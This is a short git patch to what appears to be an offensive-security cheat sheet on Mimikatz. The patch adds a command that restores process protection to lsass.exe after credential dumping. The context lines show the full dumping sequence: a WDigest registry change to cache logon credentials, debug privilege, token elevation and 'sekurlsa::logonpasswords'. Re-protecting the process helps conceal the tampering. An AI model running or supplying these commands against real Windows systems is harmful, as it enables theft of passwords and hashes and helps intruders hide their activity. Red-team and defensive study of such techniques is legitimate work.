From 9be371d7931f0a83677a5254146a8a6467522e46 Mon Sep 17 00:00:00 2001 From: mpgn Date: Wed, 17 Feb 2021 12:15:47 +0100 Subject: [PATCH] add mimikatz command to protect a process again after removing the protection https://github.com/gentilkiwi/mimikatz/blob/fe4e98405589e96ed6de5e05ce3c872f8108c0a0/mimikatz/modules/kuhl_m_kernel.c#L99 --- Methodology and Resources/Windows - Mimikatz.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/Methodology and Resources/Windows - Mimikatz.md b/Methodology and Resources/Windows - Mimikatz.md index 7fad18a..badce42 100644 --- a/Methodology and Resources/Windows - Mimikatz.md +++ b/Methodology and Resources/Windows - Mimikatz.md @@ -77,6 +77,9 @@ reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLo mimikatz # privilege::debug mimikatz # token::elevate mimikatz # sekurlsa::logonpasswords + + # Now lets re-add the protection flags to the lsass.exe process + mimikatz # !processprotect /process:lsass.exe ``` - LSA is running as virtualized process (LSAISO) by **Credential Guard**